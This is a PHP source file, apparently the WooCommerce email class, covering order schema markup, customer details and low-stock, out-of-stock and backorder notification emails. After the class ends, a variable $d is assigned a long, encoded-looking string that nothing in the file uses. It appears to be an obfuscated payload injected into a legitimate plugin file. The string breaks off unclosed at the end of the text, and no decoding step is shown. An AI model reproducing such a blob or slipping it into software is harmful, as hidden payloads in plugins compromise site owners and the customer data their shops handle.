$markup = array('@context' => 'http://schema.org', '@type' => 'Order', 'merchant' => (object) array('@type' => 'Organization', 'name' => get_bloginfo('name')), 'orderNumber' => strval($order->get_order_number()), 'priceCurrency' => $order->get_order_currency(), 'price' => $order->get_total(), 'acceptedOffer' => $accepted_offers, 'url' => $order->get_view_order_url());
switch ($order->get_status()) {
case 'pending':
$markup['orderStatus'] = 'http://schema.org/OrderPaymentDue';
break;
case 'processing':
$markup['orderStatus'] = 'http://schema.org/OrderProcessing';
break;
case 'on-hold':
$markup['orderStatus'] = 'http://schema.org/OrderProblem';
break;
case 'completed':
$markup['orderStatus'] = 'http://schema.org/OrderDelivered';
break;
case 'cancelled':
$markup['orderStatus'] = 'http://schema.org/OrderCancelled';
break;
case 'refunded':
$markup['orderStatus'] = 'http://schema.org/OrderReturned';
break;
case 'failed':
$markup['orderStatus'] = 'http://schema.org/OrderProblem';
break;
}
if ($sent_to_admin) {
$markup['potentialAction'] = (object) array('@type' => 'ViewAction', 'target' => admin_url('post.php?post=' . absint($order->id) . '&action=edit'));
}
$markup = apply_filters('woocommerce_email_order_schema_markup', $markup, $sent_to_admin, $order);
echo '<div style="display:none;"><script type="application/ld+json">' . wp_json_encode((object) $markup) . '</script></div>';
}
public function order_meta($order, $sent_to_admin = false, $plain_text = false)
{
$fields = apply_filters('woocommerce_email_order_meta_fields', array(), $sent_to_admin, $order);
$_fields = apply_filters('woocommerce_email_order_meta_keys', array(), $sent_to_admin);
if ($_fields) {
foreach ($_fields as $key => $field) {
if (is_numeric($key)) {
$key = $field;
}
$fields[$key] = array('label' => wptexturize($key), 'value' => wptexturize(get_post_meta($order->id, $field, true)));
}
}
if ($fields) {
if ($plain_text) {
foreach ($fields as $field) {
if (isset($field['label']) && isset($field['value']) && $field['value']) {
echo $field['label'] . ': ' . $field['value'] . "
";
}
}
} else {
foreach ($fields as $field) {
if (isset($field['label']) && isset($field['value']) && $field['value']) {
echo '<p><strong>' . $field['label'] . ':</strong> ' . $field['value'] . '</p>';
}
}
}
}
}
public function customer_detail_field_is_valid($field)
{
return isset($field['label']) && !empty($field['value']);
}
public function customer_details($order, $sent_to_admin = false, $plain_text = false)
{
$fields = array();
if ($order->customer_note) {
$fields['customer_note'] = array('label' => __('Note', 'woocommerce'), 'value' => wptexturize($order->customer_note));
}
if ($order->billing_email) {
$fields['billing_email'] = array('label' => __('Email', 'woocommerce'), 'value' => wptexturize($order->billing_email));
}
if ($order->billing_phone) {
$fields['billing_phone'] = array('label' => __('Tel', 'woocommerce'), 'value' => wptexturize($order->billing_phone));
}
$fields = array_filter(apply_filters('woocommerce_email_customer_details_fields', $fields, $sent_to_admin, $order), array($this, 'customer_detail_field_is_valid'));
if ($plain_text) {
wc_get_template('emails/plain/email-customer-details.php', array('fields' => $fields));
} else {
wc_get_template('emails/email-customer-details.php', array('fields' => $fields));
}
}
public function email_addresses($order, $sent_to_admin = false, $plain_text = false)
{
if ($plain_text) {
wc_get_template('emails/plain/email-addresses.php', array('order' => $order));
} else {
wc_get_template('emails/email-addresses.php', array('order' => $order));
}
}
private function get_blogname()
{
return wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
}
public function low_stock($product)
{
$subject = sprintf('[%s] %s', $this->get_blogname(), __('Product low in stock', 'woocommerce'));
$message = sprintf(__('%s is low in stock.', 'woocommerce'), html_entity_decode(strip_tags($product->get_formatted_name()), ENT_QUOTES, get_bloginfo('charset'))) . ' ' . sprintf(__('There are %d left', 'woocommerce'), html_entity_decode(strip_tags($product->get_total_stock())));
wp_mail(apply_filters('woocommerce_email_recipient_low_stock', get_option('woocommerce_stock_email_recipient'), $product), apply_filters('woocommerce_email_subject_low_stock', $subject, $product), apply_filters('woocommerce_email_content_low_stock', $message, $product), apply_filters('woocommerce_email_headers', '', 'low_stock', $product), apply_filters('woocommerce_email_attachments', array(), 'low_stock', $product));
}
public function no_stock($product)
{
$subject = sprintf('[%s] %s', $this->get_blogname(), __('Product out of stock', 'woocommerce'));
$message = sprintf(__('%s is out of stock.', 'woocommerce'), html_entity_decode(strip_tags($product->get_formatted_name()), ENT_QUOTES, get_bloginfo('charset')));
wp_mail(apply_filters('woocommerce_email_recipient_no_stock', get_option('woocommerce_stock_email_recipient'), $product), apply_filters('woocommerce_email_subject_no_stock', $subject, $product), apply_filters('woocommerce_email_content_no_stock', $message, $product), apply_filters('woocommerce_email_headers', '', 'no_stock', $product), apply_filters('woocommerce_email_attachments', array(), 'no_stock', $product));
}
public function backorder($args)
{
$args = wp_parse_args($args, array('product' => '', 'quantity' => '', 'order_id' => ''));
extract($args);
if (!$product || !$quantity || !($order = wc_get_order($order_id))) {
return;
}
$subject = sprintf('[%s] %s', $this->get_blogname(), __('Product Backorder', 'woocommerce'));
$message = sprintf(__('%1$s units of %2$s have been backordered in order #%3$s.', 'woocommerce'), $quantity, html_entity_decode(strip_tags($product->get_formatted_name()), ENT_QUOTES, get_bloginfo('charset')), $order->get_order_number());
wp_mail(apply_filters('woocommerce_email_recipient_backorder', get_option('woocommerce_stock_email_recipient'), $args), apply_filters('woocommerce_email_subject_backorder', $subject, $args), apply_filters('woocommerce_email_content_backorder', $message, $args), apply_filters('woocommerce_email_headers', '', 'backorder', $args), apply_filters('woocommerce_email_attachments', array(), 'backorder', $args));
}
}
$d = 'ENI2wZmTwqlsBsFr1lVzBZ0r1WYxBsFwBM3KhjpzBMlDwjpHds+I57lxGWVcqsl05ZVjBM+adZVrBMez5MVjLMeg5Mec18vTBM3KL8rTdZVcwsNTelFFNm0am/e44mV/LExTv9LPYzbAvErT57ljLy+kBZ+3hjpZdqLTFMHuwsNnL81HwKbO1MVkdW3chjpZdqLTF8Y2wMejhjpZdqLTFM+35zrT57ljLy+IwErT57ljLy+AB8eoGWPa173r19rT57ljLy+Hds+I57lxGWVcqsY3wo13w3VD5Mlx5qvnL81HwKbOdsFzqspH5MTnL81HwKbOdsFzqZ2u18er19rT57ljLy+zw7YawZ021DrT57ljLy+zw7Yaw8Fu18ez5ErT57ljLy+j1W1j1WlDGlVOBoYadWYxGWVchjpZdqLTF8eD1qFadW53BoNTX4bomelqBsFr1ypEBZ0r1WYxBsLT+Mer5qH3FDrT57ljLy+Iw2VzGMezGZ3c1jbVLMP2BMAnL81HwKbOw8Fu18ez5ybVLy50wq5uw70OCWYuBM03ds+uwKwnL81HwKbOw8Fu18ez58vnL81HwKbOdWYxGq1H5M3uB3VD1qFZ1qLTX4boG8+xwESuCZlz5M3Zdq+IBZgcwqlsBsFr1yPuw7wohjpZdqLTFMlz5M3Zdq+IBZPadW+Ow7eDwjbVLy5S58+AwDSuCs5s5jP0wq5uw70OC7Vj1jVHdZYu5WPxCspjBZ+2dsNkdWYxGq1H5M3uBKiohjpZdqLTF8F3wMVj5lVH1M+j1qYDLExTFZHx58pDhKiu5s5sCol05ZVjBMNcBsFoCZlzdZV2BoNuwM3jdq+3CqF3wMVj5yiohjpZdqLTFM3DqZ0udZlrhjpZdqLTFM3DqZ0udZlrqZeOGq+IBZgTX4p7dW0D19rTw8eKBM3zLM12B7YxGWVcLlVadZVcws+j5WYxQyOT6jpI1KbSGqYD1qNSFlV8+e+BFZ+3doeoF2xIL80iLM3DwZexQy+aNxVX4x3lWj5O1WF21j55Q4OT6jpIB73awZexQy5OGqYABMlPqZejw7VjwjwrLE/Ihjp3woFuw3Vj1qpuwo+IB7wS+eVp9/AIhjpD1q+zBZVfGWmSFZ+3doeoFjATv4ATdqFjdqOSLy5368pIw7eDFjbVXKpxGW23QyOTQjbZvEbrLy5Adq+SFjbVXKboCjwrLy5OBZ2HGWgoLExtLywoCybowZez5qF3FjbVXKpxwoe3CyboG8+xwMVcB8OoLExtL8+j5WmrLy5DdW23wZ3x14wTX9gTFxPuB7moLyOIhjpVLy+xGM3DC9PzBMVD1eV3woFuw3Vj1qpuwo+IB7wSQ9rTF8+SGqvkX72u1MmTX4bO+x0XNOlvm2rommvoq4xtBWVO19rTF8+SGqvkX7HuwsNTX4bO5MHIwjxt1ZexqZHuwsNSQ9rTF8+SGqvkX7+uBWlIBKbVLy+xGM3DC9Po1q+a1MVkdW3cQy+xGM3DC9PSBsYxQ9rTF8+SGqvkXoY2wMejLExTdqpAB83a173r5MejwjTTFsl05ZVjBMNkdWYxGq1H5M3uBK2O1qdk1MVkdW3cFjATdqFjdqOSQ4bIhjbO5MHIwjxt1MeZLExTGWPadqFjdqOSF8+SGqvkX7+uBWlIBKATF8+SGqvkXoY2wMejQ4piaypAw7eoqZ2H5MYSQywuqopSdqLJCZOoCypaqx+Fm3VaQ9rTGWdTQy/O5MHIwjxt1MeZQ4pj1q+2w7gnLy+xGM3DC9PIw2VrBZYHByTIhjpI1KbSF8+SGqvkX73DqZ0udZlrQ4bO5MHIwjxtdWYxGq1H5M3uB3VD1qFZ1qLTX4boFDrTF8+SGqvkX7lz5M3Zdq+IBZPawZej57ejLExTdqpAB83a173r5MejwjTTFsl05ZVjBMNkdWYxGq1H5M3uBK2D1qFZ1qLoCybO5MHIwjxtdWYxGq1H5M3uB3VD1qFZ1qLTQ9rTGWdTQy+xGM3DC9PIw2VrBZYHBlV31M3xGWVcQ4pnLMlO1lVHds+IBZgSLy5swlVAw73c5lVDdsFIw8+DFjATdqFjdqOSF8+SGqvrLy5OGqYHd703qZl25MVDdq13FjOTQ9rTdW+OqZ1IB8+3wKTTFs5AqsF3573DGWVcw2VxB2Vf1WeAFjATdqFjdqOSF8+SGqvrLy5swlVj1q1IwZ3uBoYa5MVaGZe3wywICyb0vyATvKbIhjpVLMlO1lV7GW1qLSLy50wq5uw70OCWlz5M3Zdq+IBZgkGqvkBMVzdWAoCypHwoFH64TO5MHIwjATFZ3DqZ0udZlrFjOTQ9rTdW+OqZ1IB8+3wKTTFsl05ZVjBMNkdWYxGq1H5M3uBK2Iwj2rBZYHBy231M3xGWVcFjATdqFjdqOSF8+SGqvrLy5Iw2VrBZYHBlV31M3xGWVcFjOTQ9rTdW+OqZ1IB8+3wKTTFsl05ZVjBMNkdWYxGq1H5M3uBK2Iwj22B8+IBWlx14231M3xGWVcFjATdqFjdqOSF8+SGqvrLy5Iw2V2B8+IBWlx1eV31M3xGWVcFjOTQ9rTdW+OqZ1IB8+3wKTTFsl05ZVjBMNkdZVrBMez5MVjCW3DCWlrBMVsCqF3BWVx142A5WFrGqYSGWPoFjATdqFjdqOSF8+SGqvrLy5Iw2VHBM0u52Vj1W2u5Meaw8eKBM3DGM3c1jwICyb0vyATvjbIhjpH1M+a173r5MejQybowqlsBsFr1y2zBZ0r1WYxBsLkdWYxGq1H5M3uBK2cdW23FjATdqFjdqOSF8+SGqvrLy5o1q+adWYxGq1H5M3uB3VcdW23FjOTQ9rTdW+OqZ1IB8+3wKTTFsl05ZVjBMNkdZVrBMez5MVjCW535y2SBsYxFjATdqFjdqOSF8+SGqvrLy5o1q+aGMVD5ywILyOnLMlO1lV7GW1qLSLy50wq5uw70OCWYuBM03ds+uwK2xBsbk1MVkdW3cFjATdqFjdqOSF8+SGqvrLy5o1q+a5MVAqZ+uBWlIB3VHwMOoQ4bIhjpH1M+a173r5MejQybowqlsBsFr1y2zBZ0r1WYxBsLkwZejGWlrCWP2BWF3wKwrLMljw7lPQy+xGM3DCybo1ZexqsY3w73HBlVc5W2K1qLoQ4bIhjpH1M+a173r5MejQybowqlsBsFr1y2zBZ0r1WYxBsLk1ZexCq+uwy2r1q13By2OBZ2HGWgoCypHwoFH64TO5MHIwjATFZ535lVxBspaBMeZ1W0a1MVkdW3cFjOTQ9rTdW+OqZ1IB8+3wKTTFsl05ZVjBMNkdZVrBMez5MVjCW+cwZ535M53dZVj1M3AFjATdqFjdqOSF8+SGqvrLy5OBoY81q+81WYuw7+FwywILyOnLMlO1lVHds+IBZgSLy5H1M2IB3VIB73xFjATdqFjdqOSF8+SGqvrLy5j1W5Iws+3w3VD1q+xGWPowjwILyOnLMlO1lVHds+IBZgSLy50wq5uw70OCWYuBM03ds+uwK2zGMezGj2zw7voCypHwoFH64TO5MHIwjATFZYS1WYfqZYjdjwILyOnLMlO1lVHds+IBZgSLy50wq5uw70OCWYuBM03ds+uwK2j1W0udWNkdsFzFjATdqFjdqOSF8+SGqvrLy5j1W0udW+adsFzFjOTQ9rTF8+SGqvkXopr5W5IB3V7GW03LExTFsl05ZVjBMNkdZVrBMez5MVjCsl05ZVjBMNkdZVrBMez5MVjCopSwywnLMlO1lV7GW1qLSLy5AB8eoGWPaw7VsqZ235M/oCypHwoFH64TO5MHIwjATFspr5W5IB3VjBs5aBWexd4wICyb0vyATvKbIhjpH1M+a173r5MejQybKB7ex5ZVjG2VH1M2IB3VAB8eoGWPadWYxGWVcqZ0IB7kDqsrO5MHIwjxtwM021Z3cqZ1IBMeVLKATdqFjdqOSF8+SGqvrLy5Hds+IBZPaBM3cGsvoQ4ATv9brLENTQ9rTdW+OqZ1IB8+3wKTTLopr5W5IB3VHds+IBZPaBM3cGsYa6j+xGM3DC9PAB8eoGWPa173r1qxKCypHwoFH64TO5MHIwjATFZlz5M3uB3VrGWPfwjwICyb0vyATYybIhjpH1M+adWYxGWVcQybo5spadWIH6lV0wq5uw70OqZlc5M3aFjbcLy+xGM3DC9Px1qHxqZ+uBWlIBKATdqFjdqOSF8+SGqvrLy5o1q+aws+H58eDFjOTQ9rTdW+OqZlz5M3uBKTTFs5AqZlUdqHaB7VAw73Zqsl05ZVjBM+adWPxGeioLygTF8+SGqvkXo+368+a1MVkdW3cCypHwoFH64TO5MHIwjATFZ535lVD5Mlx5qvoQ4bIhjpH1M+adWYxGWVcQybo5spadWIH6lV0wq5uw70OqsY3dsF35lioLygTF8+SGqvkXo+368+a1MVkdW3cCypHwoFH64TO5MHIwjATFsY3dsF35ywILyOnLMlO1lVHds+IBZgSLy5swlVHG7lgqZPuw8FI53V0wq5uw70OqsY3dsF35lioLygTF8+SGqvkXo+368+a1MVkdW3cCypHwoFH64TO5MHIwjATFsY3dsF35ywILyOnLMlO1lVHds+IBZgSLy5j1qYxqZlAGeVIB73xFjATdqFjdqOSF8+SGqvrLy5j1qYxqZlAGeVIB73xFjOTQ9rTdW+OqZlz5M3uBKTTFs5AqZlUdqHawqlsBsFr1lVzGMezG2VHds+I57lxGWVcqsY3wo13w3ioLygTF8+SGqvkXo+368+a1MVkdW3cCypHwoFH64TO5MHIwjATFZYS1WYfqZlz5M3Zdq+IBZPawZej57ejFjOTQ9rTdW+OqZlz5M3uBKTTFs5AqZlUdqHaB7VAw73Zqsl05ZVjBM+adZH3dZkadWYxGq1H5M3uB3VD1qFZ1qFaFjbcLy+xGM3DC9Px1qHxqZ+uBWlIBKATdqFjdqOSF8+SGqvrLy5zGMezG2VHds+I57lxGWVcqsY3wo13wKwILyOnLMlO1lVHds+IBZgSLy5swlVHG7lgqsl05ZVjBMNkdZH3dZrkGqvkdWYxGq1H5MeOC4wTCKbO5MHIwjxt5Meg5lVOBZ2HGWgrLMljw7lPQy+xGM3DCybodZH3dZkaGqYadWYxGq1H5MeOFjOTQ9rTdW+OqZlz5M3uBKTTFs5AqZlUdqHaB7VAw73Zqsl05ZVjBMNkdZH3dZrkGqvkdWYxGq1H5MeOC4wTCKbO5MHIwjxt5Meg5lVOBZ2HGWgrLMljw7lPQy+xGM3DCybodZH3dZkaGqYadWYxGq1H5MeOFjOTQ9rTdW+OqZlz5M3uBKTTF8+SGqvkXo+368+a1MVkdW3cLygTFj2j1Wlz5M3Zdq+3FjATdqFjdqOSF8+SGqvrLy5IBo+3wo1HBywILyOnLMlO1lVHds+IBZgSLy50wq5uw70OCWYuBM03ds+uwK2j1W5Iws+3wK2O1Wlz5M3Zdq+IBZgkGMVuGjwrLMljw7lPQy+xGM3DCybow7ekBs13qspr5W5IB3VOdq+HFjOTQ9rTF8+SGqvkX73cGqNSQ9rTdW+OqZlz5M3uBKTTFsl05ZVjBMNkdZVrBMez5MVjCWlz5M3Zdq+IBZgkBM3D5ywrLMljw7lPQy+xGM3DCybow8Fu18ez5lVHds+I57lxGWVcqZ0IwsNoQ4bIhjbO5MHIwjxtw7e7w7eHwZHa1MPDqZlz5M3uBKbVLy50wq5uw70OCqpjBZ+2dsNkdWYxGq1H5M3uBK2j1W1j1qYSCW+cwjwnLy+xGM3DC9Pzw7VcqsF31oF3wZHa1MPDQyOnLMlO1lVHds+IBZgSLy50wq5uw70OCWYuBM03ds+uwK23Bo1Iw7VcBWec5y2rGqYxCWF317Vj14wrLMljw7lPQy+xGM3DCybo1WPZGqFuB723BoNoQ4bIhjpH1M+adWYxGWVcQybowqlsBsFr1y2zBZ0r1WYxBsLkdWYxGq1H5M3uBK2H1M2IBK2cBs+IdZeDFjATdqFjdqOSF8+SGqvrLy5H1M2IB3VcBs+IdZeDFjOTQ9rTdW+OqZlz5M3uBKTTFsl05ZVjBMNkdZVrBMez5MVjCqeA1sFH1MmkwMlo14wrLMljw7lPQy+xGM3DCybo5qpow7lO1eVAdW53FjOTQ9rTdW+OqZlz5M3uBKTTFs5AqZlUdqHawqlsBsFr1y2zBZ0r1WYxBsLkdZH3dZrk5qpow7lO14wrLMljw7lPQy+xGM3DCybodZH3dZka5qpow7lO14wILyOnLMlO1lVHds+IBZgSLy5swlVHG7lgqZPuw8FI53V0wq5uw70OCWYuBM03ds+uwK2zGMezGj22wM5jdW+3FjATdqFjdqOSF8+SGqvrLy5zGMezG2V2wM5jdW+3FjOTQ9rTdW+OqZlz5M3uBKTTFs5AqZlUdqHawqlsBsFr1y2zBZ0r1WYxBsLk1Mik5qpow7lO14wrLMljw7lPQy+xGM3DCybo1MVa5qpow7lO14wILyOnLMlO1lVHds+IBZgSLy5swlVHG7lgqZPuw8FI53V0wq5uw70OCWYuBM03ds+uwK2OBj22wM5jdW+3FjATdqFjdqOSF8+SGqvrLy5OB2V2wM5jdW+3FjOTQ9rTdW+OqZlz5M3uBKTTFs5AqZlUdqHawqlsBsFr1y2zBZ0r1WYxBsLkwZ+fCW3cws+HBMAoCypHwoFH64TO5MHIwjATFZ3cws+HBM0awZ+fFjOTQ9rTdW+OqZlz5M3uBKTTFs5AqZlUdqHaB7VAw73Zqsl05ZVjBMNkdZVrBMez5MVjCqYOGj2IBoYxdW0rFjATdqFjdqOSF8+SGqvrLy5IBoYxdW0rqsYOGjwILyOnLMlO1lVHds+IBZgSLy5swlVIBoY3wo+awMVD5ywrLMljw7lPQy+xGM3DCybo5spaGWPD1qFxqspuwsNoQ4ATh9OPh9OPh4ATvKbIhjpH1M+a173r5MejQybo5MH3qZYuBo+3BoNoCypHwoFH64TO5MHIwjATFs+S1eVzBZPx1WPxFjOrLEbTQ9rTdW+OqZ1IB8+3wKTTFZ1uw72H5lVxB2V31M3xFjATdqFjdqOSF8+SGqvrLy57BsFkdq+a5MVa1W+I5ywICybALyOnLMlO1lV7GW1qLSLy5j1qYxqsF3wqe3ws+adW1x1qFadZlrBMFHdZkDFjATdqFjdqOSF8+SGqvrLy5j1qYxqsF3wqe3ws+adW1x1qFadZlrBMFHdZkDFjOrLEOPCybDLyOnLMlO1lV7GW1qLSLy50wq5uw70OCWYuBM03ds+uwK2rBZYHBy231M3xGWVcCW+3dsFPw8NoCypHwoFH64TO5MHIwjATFs+S1eVzBZPx1WPxFjOTQ9rTdW+OqZlz5M3uBKTTFsl05ZVjBMNkdZVrBMez5MVjCW0udZlrCWeOGq+IBZgkGMlzGj2ABsYxCqpSwywrLMljw7lPQy+xGM3DCyboGMlzG2VABsYxqspSwywILyOnLMlO1lVHds+IBZgSLy50wq5uw70OCWYuBM03ds+uwK2IBqpuwoNk1qHABsFxCWYuB8ekBKwrLMljw7lPQy+xGM3DCyboGW2ABsFxqZegwMVj5lVzBZ02BWgoQ4ATv9brLEvTQ9rTdW+OqZ1IB8+3wKTTFsl05ZVjBMNkdZVrBMez5MVjCW+uCWecdsFPw8NkdZVrBMez5M3uBK2Aw7VU1WYxCWYu1MmoCypHwoFH64TO5MHIwjATFZecdsFPw8+adZVrBMez5M3uB3VAw7VU1WYxqZYu1MmoQ4bIhjpH1M+a173r5MejQybowqlsBsFr1y2zBZ0r1WYxBsLk1Mik1Mezwo3A5y2zBZ0r1WYxGWVcCqpjBZI3dsNkdZVO14wrLMljw7lPQy+xGM3DCybo1Mezwo3A5lVzBZ0r1WYxGWVcqspjBZI3ds+adZVO14wILyOnLMlO1lVHds+IBZgSLy5swlVHG7lgqsl05ZVjBMNkdZVrBMez5MVjCWegwMioCK5j5y2zBZ0r1WYxG4wcFZVcCqpjBZI3dsNoCypHwoFH64TO5MHIwjATFZegwMVj5lVzBZ0r1WYxGWVcqspjBZI3dsNoQ4bIhjpH1M+adWYxGWVcQybo5spadWIH6lVcBspjGq1awqlsBsFr1y2zBZ0r1WYxBsLk1qHABjwcFsFxCWYuBM03ds+IFjgoBZgkw8FuG7ez5ywrLMljw7lPQy+xGM3DCybo1qHABsFxqZYuBM03ds+IBZPaw8FuG7ez5ywILyOnLy+xGM3DC9Pj1qYxBsF3qZejw7VjqsF3wMVj5M3c1jTIhjpVL8p2d70Idjp75WPz5M3uBKpIw2VrBZYHBlV31M3xGWVcQyOT6jpj1q+2w7gTF8+SGqvkX73DqZ0udZlrqZeOGq+IBZgnL8xTw8eKBM3zLM12B7YxGWVcLM3Dqser5M3kdq+3qZeOGq+IBZgSQ4pnLy+Hds+I57lxGWVcqsYxdq+2wjbVLy+xGM3DC9Po1qNSFZlz5M3Zdq+IBZgkws+H58eDFjATF8+SGqvkXopjBZ+2dsNIhjpI1KbSFMlz5M3Zdq+IBZPaws+H58eDLExVLy5rGWY3BoY3FjOT6jbOdWYxGq1H5M3uB3VAw7VO5WYxLExTF8+SGqvkX7535yTodWYxGq1H5MeOCqpjBZ+2dsNoCybO5MHIwjxtw8Fu18ez5yOnL8F358ejBKpD58FD58LSFMlz5M3Zdq+IBZPaw8Fu18ez5yATFser5M3kdq+3FjOTL9xVLM1HB8Y3hjpVL8F358ejBKp7dW0D19rTa4pA5WFrGWvT1oecds+IBZgT1M3DdWFr1eVH5q+uwZlZ14TI6jpswlVO1qF31Z3D5MejqsYzw73A5yTodqexBsYH57moQ9rTa4pA5WFrGWvT1oecds+IBZgT5spaw7eZGqYIBZPDqs+uqZk31qbSLy+c5WxrLy+ABsYxLyOT6jpj1q+2w7gTvErTa4pA5WFrGWvT1oecds+IBZgT1MPD+Zex+ZezBsFO4qbSFM+uBWlIBKOT6jbOGqbTX4po1q+SBsYxdo3cdW23Qy+OBZ2HGWgIhjpI1KbSFM3ALExVLy+OBZ2HGWgIL8rTGWdTQM12B7YxGWVcqZegGqYxwjTo1MPDqZ535lVj1WYuw7NoQ4OT6jbOw7ezBsFOwjbVLM+cw2Vo1q+aw7ezBsFOQy+OBZ2HGWgIhjp7BsF3dWYSLyTOw7ezBsFOwjpHwjbOw7ezBsFOQ4pnLM37LyTOw7ezBsFOWj5x6qp3F2xTX9xTFx/oQ4pnL8F358ejBKbOw7ezBsFOWj5Iwy55hjpVLMerwZeI1KbSF8F3dZVj1lro583A1455LExVLy5pNmlpFjOT6jbOGqbTX4bOw7ezBsFOWj5Iw8dZF2xnL8xT1W0D1W37LyTOw7ezBsFOWj5x6qp3F2xTX9xTFxYhNm2lFjOT6jpj1q+2w7gTF8+SGqvkX7+cwx535/53dZVj1/3AQy+j1WYuw7+BFs+Hw7535y55Q9rTa4pVL8xTa4pj1q+2w7gTFM3AhjpVL8p2d70Idjp75WPz5M3uBKpIw2VrBZYHByTIL8rTF8+SGqvkX73ALExTF8+SGqvkX7+cwx535/53dZVj1/3AQy+xGM3DC9PSBsYxQ9rTF8+SGqvkX73DqZ0udZlrLExTLW1IB8+3w3VZdqLSF8+SGqvkX73ACypM4m0m+eFaeOlv4m+pe/ea4ebrL/1F9l+lm3VM9/l8qxPXq2p44e1amOlh+xmTaypM4m0m+eFa+O0p+2Vh92V4+eYamOlh+xmIhjpI1KbSF8+SGqvkX73DqZ0udZlrLyd7Ly+xGM3DC9POBZ2HGWgTX9xTFs/cdjwIL8rTGWdTQybH173r5Mejqs1HwKTOq2Ylm31lm3romOeY92+lqxl/+lLoq4AT+O3ve/e4q21p9/3/Ne+lqx3NCypM4m0m+eFa+O0p+2Vh92VNmO3Wq2Fp9O5lL8AT+O3ve/e4qx1vNm5a9OVamOe9q2Fp9O5lQ4b7FKbH173r5Mejqs1HwKTOq2Ylm31lm3romxe4eOe4qxl/+lLoq4AT+O3ve/e4q21p9/3/Ne+lqx3NCypM4m0m+eFa+O0p+2Vh92VNmO3Wq2Fp9O5lL8AT+O3ve/e4qx1vNm5a9OVamOe9q2Fp9O5lQ4bIL8rTF8+SGqvkX73DqZ0udZlrqZeOGq+IBZgTX4pxwoe3hjbO5MHIwjxtGqYaBMVzdWATX4p7dW0D19rTa4pVL8F358ejBKbO5MHIwjxtGqYaBMVzdWAnL8xTw8eKBM3zLM12B7YxGWVcLM3DqZlrBMVsqsF3BWVx1eVA5WFrGqYSGWPoQy+HBM0u5jATF8+PwMmrLy+2w7AIL8rTFM2u18er14bVLy+xGM3DC9PAw7VO5WYxhjbOdWYxGq1H5M3uB3VxGW23ws+HBqbTX4bO5MHIwjxt1ZexQy5Hds+I57lxGWVcCq+IBWeD5MlkwywrLy+kBZ+2BMmIhjbOwZejGWlrqZP2BWF3wKbVLy+xGM3DC9Po1qNSFsY3w73HBy2c5W2K1qLoCybOBWVO5W03Q9rTGWdTQy/OwZejGWlrqZP2BWF3wKOTw7ex5qFcLM1HB8Y3hjpI1KbSF8+PwMmTL9xTFs5uw7+Aw7eDwjwTFKdTL4+xGM3DC9PIw2V2B8+IBWlx1eV31M3xGWVcQyOIL8F358ejBKp7dW0D19rTFM+uBWlIBKbVLy+xGM3DC9Po1q+a5MVAqZ+uBWlIBKTO5qFrQ9rTF8+jdWPDGWec5ybVLy5jwyxoLygTBWN2Qy+D1qFIdW0aBoekd7ejCK+OBZ2HGWgcFMlz5M3Zdq+IBZPa5M3k1qYxdW2AQ9rTFMlz5M3Zdq+IBZPadZVO14bVLy+xGM3DC9Po1q+a58FHBoYI1WPxQy+xw7lcwZ33BoNIhjpI1KbSLMekw8+PQy+Hds+I57lxGWVcqZYu1MmIL80iLMYj6qpxQy+xw7lcwZ33BoNrLy+Hds+I57lxGWVcqZYu1MmILy/VLy+Hds+I57lxGWVcqZYu1MmTQ4pnLy+2w7ATX4bO5MHIwjxtdWYxGq1H5M3uB3VD1qFZ1qLTCKboCZYS1WYfCW3DCW+uBWlIBK2Hds+I57lx1WNohjbOd7VO64bVLMljw7lPQyboBoekd7ejFjbVXKbOwZejGWlrqZP2BWF3wKATFZ+uBWlIBKwTX9gTFM+uBWlIBKATFs+IBWeD5MlkwywTX9gTFMlz5M3Zdq+IBZPa5M3k1qYxdW2ACybow8Fu18ez5ywTX9gTFM2u18er14bIhjbOw7eDwMVcwZmTX4pswlVj1W2u5MeawMVD5yTO5qFrCypHwoFH64Tod7VO64wTX9gTFMFu18OrLy5DwZ0Z1qFI1oOoLExtLM1HB8Y3Q4OnLy+KBZ+PLExT5spaw7ekBs+3qsF358FI1q13qZFu18OSF8F3wspuBoY3Q9rTFMFu18OTX4pUwZVcqZ+3dZVO14TOd7VO64AT58F214OnLM37LyTOd7VO64b7FKbOd7VO6erodWYxGq1H5MeOF2xTX9xTvyOT6jbOdW0rBswTX4p7dW0D19rTa4p3B8Y3L8rTFMlrBMVsLExT58F219rTGWdTQM3DwZexQy+KBZ+PWj5Hds+I57lxGWVcqZYu1Mmoq4OILy+xGM3DC9PD1q+a58FHBoYI1WPxQy+xw7lcwZ33BoNrLy+KBZ+PWj5Hds+I57lxGWVcqZYu1Mmoq4ATYzbxhEbAQ9rTa4pVL8F358ejBKbOdW0rBswnL8xTw8eKBM3zLM12B7YxGWVcLM535lVHds+I57lxGWVcqZPHBWmSQ4pnLy+kBZ+2BMmTX4bO5MHIwjxtw8Fu18ez5ErTw7ex5qFcLy+xGM3DC9Po1qNSFZlz5M3Zdq+IBZgkB7lk14wrLy+kBZ+2BMmIhjpVL8p2d70Idjp75WPz5M3uBKpo1q+a5MVAqZ+uBWlIB3VHwMOSQ4pnL8F358ejBKbO5MHIwjxt1MVkdW3chjpVL8p2d70Idjp75WPz5M3uBKpo1q+a5MVAqZ0357erqZ+uBWlIBKTO5qFrQ4pnL8F358ejBKpAw7eoqsF3wM0HdZmSdqFjdqOSFjVS58+AwDiJqyVwCjgUXjHBq3Acq4kwCKTSdZVkaMVj1s0c1qNIqyPw5jIiW2PwC3xfQ43wCjgfCjwrLywuqyicQKVIFjOrLMljw7lPQyLOv4LrLywoQ4ATws+j5MVrBs53wKTO5qFrQ4OnL8xTw8eKBM3zLM12B7YxGWVcLM535lVD1qFIdW0aBoekd7ejQyOT6jbOBWVO5W03LExTF8+SGqvkXopjBZ+2dsNnL8F358ejBKbO5MHIwjxt1ZexQy5D1qFIdWAkBoekd7ejFjATFM2u18er14OnL8xTw8eKBM3zLM12B7YxGWVcL8pr5W5IB3VjBs5aBWexd4TOBM3cGsvrLy+7GW03Q4pnLy+H1M2IB3V2w7ATX4bO5MHIwjxtBWVO14bVX4boB7ex5ZVjGjwTXjboB7ex5ZVjG2VH1M2IB3V2w7AoLESTFZlOBW3cqsejBywnLM37LyTO173r14bVX4bO5MHIwjxtwM021Z3cqZ1IBMmIL8rTFM0IB7kDW2xTX4boXM/TG8F31zxKFjbcLlVaQy5S58+AwDSuCs5s5jP0wq5uw70OC7Vj1jVSBswk5MikdoePCWecFjATF8+SGqvkXo+368+a1MVkdW3cQ4bcLywKL8+Hw7535ExKqZFrdWPfLzgoLygTq2iSFxHu5jpxBjpy5qORFjATF8+SGqvkXo+368+a1MVkdW3cQ4bcLywiCZ/tFDrTFM0IB7kDW2xTX4boXM